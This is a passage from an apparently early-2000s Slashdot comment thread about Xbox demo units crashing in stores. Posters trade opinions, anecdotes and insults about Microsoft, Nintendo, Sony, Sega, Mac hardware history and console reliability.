      Hmm...I wonder if the problem lies with the Mexicans that they rounded up and trained to build the thing for $3-4 an hour or the stock compensated MS software/hardware engineers? Either way, I'm glad that the people will still be treated to the Microsoft experience that we all know and love.

      I'm sure Sony and Nintendo are laughing their asses off over these reports.

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  165. Re:copulating mentally challenged individuals by jimbolaya · · Score: 1

    Actually, even before System 7, expandable Macs (The Mac II series) were shipping. If my memory serves me, the Mac II and IIx had 7 NuBus (developed by TI) slots, while the smaller Mac IIci and IIcx had 4 NuBus slots. The cases were very easy to open, though not as elegant as a G4 or G3 case. True, there were the SEs amd Classics, that were difficult to open, but your statement that "The Macintosh of that era was specifically designed to be impossible for the average person to open" is just plain wrong.

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  166. What a big surprise... by Stenpas · · Score: 1

    I actually saw an Xbox working here in Lincoln, NE in Software Etc. Overall, I was not impressed. Since there was nothing playable, I decided to watch a trailer for Bungie's Halo. I was surprised to find out how shitty it looked. But then I sucked my eyes out of the screen, and oh looky, That's a TV, not a computer monitor!

    The moral is, computer games are not meant for the TV. Halo would look awesome on a computer monitor.

    And anyway, I'd like to see what those guys at Nintendo are doing. Last I heard, the gamecube was easier and faster to program for as well as more optimized. No matter how fast the Xbox is on paper, that doesn't mean jack shit if those programmers can't make it optimized.

    Beyond specs, Nintendo has several good games for it. Heh...just a cool thought, imagine Mario coming out saying "GIVE IT UP FOR-A MEEEEEEE!!!!" while ripping his shirt off exposing his winter coat of chest hair. ANYWAY, Nintendo has a reputation for good games and good consoles. I doubt that Microsoft can produce a superior product.

  167. Slashdot prejudice by foxxo · · Score: 0, Troll

    I wonder how many of you insipid zealots were hanging out in your local electronics stores just WAITING to see a crash so you could run back to your computers and post "M$ SUXX0RZ! M$ SUXX0RZ! I saw the XBox crash and Bill Gates is dumb, yay for Linux!"
    I don't even bother reading any stories about Microsoft here anymore, because I know from the start that it's going to be nothing but largely baseless jabs at a legitimate corporation trying to make money. I got duped into reading this one because it was categorized with "Games."
    The slashdot community is so full of you mindless, unthinking morons it makes me sick. I hate you all.

    1. Re:Slashdot prejudice by JohnnyBolla · · Score: 1

      So then why exactly did you read this one?

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    2. Re:Slashdot prejudice by buck_wild · · Score: 1

      quote
      I got duped into reading this one because it was categorized with "Games."
      /quote

      Um, you'd understand his poste if you actually read it. Or are are you still confused? Sheesh!

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  168. Play to the audience by Anonymous Coward · · Score: 1, Insightful

    So, please tell me:

    Why has my Playstation2 never crashed?

  169. well, yeah... by Digital_Fiend · · Score: 1

    it seems everytime microsoft puts something out, the first several versions of it are horrible. then they work like crazy to improve it until eventually it is sometimes superior to whatever else is competing with it. internet explorer is a good example; started out as a fringe product, now it has great standards compliance. etc etc etc

  170. Re: My own Re:Not a Microsoft Problem. by SpeelingChekka · · Score: 2

    Rightly or wrongly, the general public associates crashing with Windows. Any above average occurance of crashes will doom this product, and be a black eye for Microsoft

    I'm not so sure. The general public associates crashing with computers more than they associate it with Windows (they regard computer crashes as "just how computers are"). Thanks to Win9X, the general public has never had an expectation of computers running 24/7 anyway, and I think most people will quickly mentally adjust to accepting XBox crashes as "normal", even if they did not think of game consoles as being unstable before. At most LANs I've been to I've seen many people resetting their frozen Windows boxes, and nobody even bats an eyelid, its such a "normal", accepted part of using Windows; people have been conditioned to accept defective products as normal, and this sort of conditioning happens extremely quickly. You'll probably see some bitching in the media for a month (or two at most) while people are still a bit peeved, but after that people will have gotten used to the idea and will have accepted the fact that they can do nothing about it anyway.

    Windows 3.1, 95, 98 and Me, as defective products, have been an incredibly huge "black eye" for Microsoft over the past decade, yet millions of people blithely accept it and buy it anyway. Its taken MS almost ten years to even bother to try to start producing a somewhat more stable consumer OS - they very obviously have NO sense of urgency in pushing a stable, reliable product out the door. I don't see MS giving a shit about it if the XBox is as unstable as Win9X.

    Still, if the problem isn't the heat, then it shouldn't be too difficult for them to locate the problems and fix them in future XBox releases, and we can possibly expect them to even actually fix the problems during the first year (might be driver issues or hardware issues). People generally have very short memories, and if future releases are a lot more stable, then XBox will be a big success anyway, 99% of people will completely forget that the 1st generation was unstable, the other 1% will reminisce about it on online forums such as /.

  171. First Generation .. by Anonymous Coward · · Score: 1, Interesting

    and if your dumb enough to actually *buy* first generation technology , then you deserve all you get, because throughout history time has proven that first generation (IE first "public" build) of just about any hardware / software ever made, has bugs, simple.

    people create software / hardware, people make mistakes, get over it.

    1. Re:First Generation .. by Anonymous Coward · · Score: 0

      that is not correct, most non computer related items are not released full of bugs.

    2. Re:First Generation .. by Anonymous Coward · · Score: 0

      Like the C64 and the NES and Sega's first system? Ooops. I can't think of a single console I've owned that has crashed more than 2 or 3 times during several years of use. The NES did only because the first Game Genie was a bit buggy and its design screwed up the cartridge loader over time. No, it's not first generation technology, it's just Microsoft.

  172. Nintendo did worse, remember? by Anonymous Coward · · Score: 0

    So? Doesn't anyone remember what Nintendo did back in the day? Make games for the NES ONLY or don't make any games for us at all. Microsoft may have a bad reputation for crappy software, and being looked down upon for busines practices, but they had to get to the top to be able to stay at the top. But they're hardware devices like the MS mouse and keyboard and gamepads have IMO been top notch as far as quality goes. And the previous poster was right, Sony no angel either. I have an idea, just buy stuff that you like!! I hate Playstation 2, but if sony comes out with something that blows my socks off, i'm going for them because i want too, not because of thier reputation.

  173. DOA3? by ashshy · · Score: 2, Informative

    Oh, you mean Dead On Arrival 3? Yeah, that would be X-Box only.

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  174. BSOD screensaver. by Picass0 · · Score: 1

    Time for an update to the BSOD screensaver. We need that Green Screen of Death, especially if it does a GL floating thing.

  175. Karma sucks the big one ! by Anonymous Coward · · Score: 0

    I'am no longer an atheist :)

  176. This IS the X-Box difference by Sagarian · · Score: 1
    "Overall, the displays are working great and we are on track to achieve our goal of having 100% of the Xbox interactive displays working correctly and demonstrating the Xbox difference."
    I thought the point was that they ARE demonstrating the Xbox difference?
  177. Dreamcast by Anonymous Coward · · Score: 0

    I remember waiting in line 2 hours to get my hands on the Dreamcast I had reserved months prior. I brought it home, hooked it up, and it couldn't read a damned thing. Not the games I purchased, no CDs, nothing. It made a bizarre noise, entered the menu, and that was about it. I returned it that very night, among the many people still in line who looked at me funny. I then went home with a new Dreamcast console, Sonic Adventure, and Blue Stinger. Well, now CDs would play, Sonic Adventure would occaisionally load, and Blue Stinger was as good as dead. So, I return everything the next day, and hear about the Dreamcast game manufacturing issues. Electronic Boutique had resorted to opening every game mentioned to possible fail and testing it prior to purchase. I got a new Sonic Adventure, and HydroThunder (none of the Blue Stingers worked, period,) and I finally had a new console system.

    1. Re:Dreamcast by Anonymous Coward · · Score: 0

      Great story.. asshole. What the hell is your point? That you're a loser?

      You need to get laid.

  178. IIRC by child_of_mercy · · Score: 2

    IIRC it's a MIPS chip in the PS2, hence Debians interest in keeping a MIPS branch running.

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  179. You might as well by fractaltiger · · Score: 1

    hack it and make it a stable Linux web server.

    After 20 years of development in the videogame era, we shouldn't be forced to put up with videogame crashes in videogame consoles ... this hardware isn't doing half the work of today's operating systems.

    It seems like the most stable console was probably halfway in the era between hand-coding assembly in small cartridges, && today's CD releases made with bloated compilers. If Xbox is as heat-generating and stable as my 8-bit Nintendo, I don't want to run any games on it; I'll just buy the PC version of the games so they crash where they're supposed to: Windows :)

    Pardon my ranty mood, I despise seeing NON-desktops crash because we can't troubleshoot them and they don't get fixed.

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  180. Thanks, Cmdr Taco, for the popunders by Anonymous Coward · · Score: 0

    Great link, asshole. Opened 50 billion popunders.

    Oh, and nice with the ipod. "Lame" and you didn't even read the specs.

    What a bunch of self-worshipping lusers. "we're slashdot, we rule"

    Time to find a new news source that doesn't have annoying "toolbars" up top.

  181. More on MSX... by CptnHarlock · · Score: 2
    I actually didn't know that MSX really didn't stand for MicroSoft.

    But it did!.. :) .. Read again.. I had one of these(SVI-728) and even one of the predesessors: SVI-328 wich was almost MSX. They were very nice and expandible machines for their times. Only thing that buged me was the 8-pixels at a time scroll that Konami always used... gaaaaaahhhhh!!!....

    To continue the previous guys rant: MSX was actually kindof an open standard. There were specifications which several electronic manifacturers had agreed on and they could build their own computers with aditional memory, bells and whisles as long as they complied to the standard. MS wasn't that big at that time so they played nice in the small-middle league. But that's history. The standard was developed because all the different home computer systems that were evolving were uncompatible and it wasn't cost effective to make games and port them around. I smell some Java thinking there..... but then again it may be just me... :)

    For more info: www.msx.org

    Cheers...

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  182. hardware should work. by Dave_bsr · · Score: 1
    Consoles are supposed to work. My original SNES, Gameboys, and N64 all work, despite being early models. They are consoles, consumer hardware...the first PS2's that everyone stood in line for all worked...they might have been stupid for staying up all night and all...but they weren't stupid for buying first systems. I am not sure what you mean, exactly..but hardware should be rock-solid stable (see: Nintendo products) and these X-Boxes are crappy. Very crappy. This reminds me of an bit i read on Penny Arcade about a friend of a friend who worked in an X-Box factory, with no QA at all. Searched PA, can't find the article, sorry...anyone else know?

    But continuing...I think you are thinking more of 1.0's of software...sure they crash. A lot of times, companies just use the public as a testing pool for early releases. But not hardware...you can rewrite software, but if you sell someone a boat anchor for $400, they get mad.

    I think we should just run *nix on it.

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  183. Microsoft XBox strategy by Alsee · · Score: 1

    Microsoft is using a market penetration strategy. They are selling the XBox for less than component cost, and expecting to make profits later on game licences.

    The obvious response is for all of us to go out and buy lots of Xboxen, strip them, and sell the parts at a profit (prefferably to Microsoft). Repeat.

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  184. It's not inevitable by blackwater · · Score: 1

    Obviously MS has historically had the knack of coming late to a market with an inferior product and sweeping all aside but I really think they're going to fail to dominate the console market.

    Consider this:

    - Console gamers are (generally) a breed apart from PC gamers

    - Brand identity is v. important in the console world. MS doesn't have an image there yet apart from perhaps being perceived as a bunch of old farts from the PC world.

    - PC games != console games. The fundamental design ethos behind console games is for the most part totally different to PC games which tend to appeal to the more anal amongst us (and I say that as a PC gamer before anyone reaches for their flamethrower).

    - If you want to play PC games you buy a PC, right? 12 months from now the bleeding edge gaming hardware for PCs will blow the XBox's frozen-in-time stuff away

    Does any of that sound like a recipe for success? Not to me.....

    Just because MS is infatuated with the PC paradigm (ouch! shoot me!) doesn't mean end users are. E.g. Sure, iPAQs are getting more popular but who still dominates the PDA market? Palm. We all know the reasons why but MS *can't* seem to see beyond their noses.

    Mind you, I couldn't really give a rat's ass who wins the console war. It kinda reminds me of a bunch of school kids playing rock-paper-scissors.

  185. Probably be against the DMCA. by nanoakron · · Score: 1

    'nuff said.

    -Nano.

    1. Re:Probably be against the DMCA. by ryanvm · · Score: 2

      Oh, it will definately be against the DMCA, but frankly, I couldn't care less. Stupid laws were meant to be broken.

  186. Your sig by Anonymous Coward · · Score: 0

    Those who fail to learn from history are doomed to re-implement it.

    A bit like Linux, then...

  187. DreamSynthesis! Is that you?? by Anonymous Coward · · Score: 0

    I see you're posting to Slashdot again.

    Why did you ditch your old account? Is it because you got trolled to hell and back and your karma got seriously butt-raped?

  188. Try WinCE games on Dreamcast by bcaulf · · Score: 1

    Railroad Tycoon II on Dreamcast locks up totally and reliably once your railroad empire gets large enough. I believe it's a WinCE based game.

  189. Just wait by ruiner13 · · Score: 1

    In a few months, they'll release a 120MB "patch" that you can download that will disable games on your computer Misro$soft feels are insecure. Oh, it'll be $125, too.

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    today is spelling optional day.

  190. xbox...console meat-head? by dryueh · · Score: 1
    hmmmm...i found myself oogling at this thread. i just bought a PS2 and, the other day, saw a little step-by-step comparison of the xbox, ps2, and gamecube on happypuppy.com (http://www.happypuppy.com/features/editorials/xbo xfaq-ed-1b.html). it seemed that ps2 was behind the others in all regards.

    it's reassuring to know that there's more to consoles than raw muscle.

  191. Well at least now MS can claim... by Chris.Boyle · · Score: 1

    ...that it's the hottest console around! =)

  192. X-Box doesn't use AMD by Anonymous Coward · · Score: 0

    The AMD chip in the X-box is in fact a RISC core, with a translation unit stuck to the front.

    Uh, where have you been? MS dumped AMD and went with Intel (pentium iii) and made the announcement months ago before production ever started. Intel designed the motherboard too.
    I effectively have the same system (bonus - lots more ram) under my desk, and starting to get the upgrade bug again. I'll stick with a game console I know was designed only to be a games console - GCN

  193. Rather apt... by Anonymous Coward · · Score: 0

    Speaking of X-crashes...

  194. X-Box=New Computer? by Anonymous Coward · · Score: 0

    How bout we all buy X-Boxes and rip them apart to build cheap P-3 Nvidia computers.

  195. Licensing hardware by hearingaid · · Score: 2

    Well, it's kinda possible. It's normally called "renting" though :)

    Assuming you have a patent license on the hardware, you could slap an EULA on that. That's no good when the patent expires though, which is a lot sooner than copyright expires. You could prolly put an EULA on the console's operating system, I guess. Ick.

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    my old sig used to be funny, but then slashcode ate it and now it's not funny anymore

  196. x-box has 90 day warranty by x-wing-knight · · Score: 1

    In the ad for the x-box up here in Canada, it says that the x-box has a 90 day warranty, which can be extended to 1 year (sold & serviced by the store) for $49 Canadian. 90 days seems short to me. All the computer parts I buy are 1 year or more and I have returned 3 CD-ROM's in the last few years that initially worked, then died.

  197. Microsoft Store going out of business by Animats · · Score: 2

    The Microsoft SF store closes Thursday. Reportedly Sony doesn't want them in their Metreon building when the X-Box launches, competing with the PlayStation Store.

  198. Low flying ball.. by Felinoid · · Score: 1

    I have played golf.. didn't like it.. don't play anymore...
    It was never a hobby to me.

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    I don't actually exist.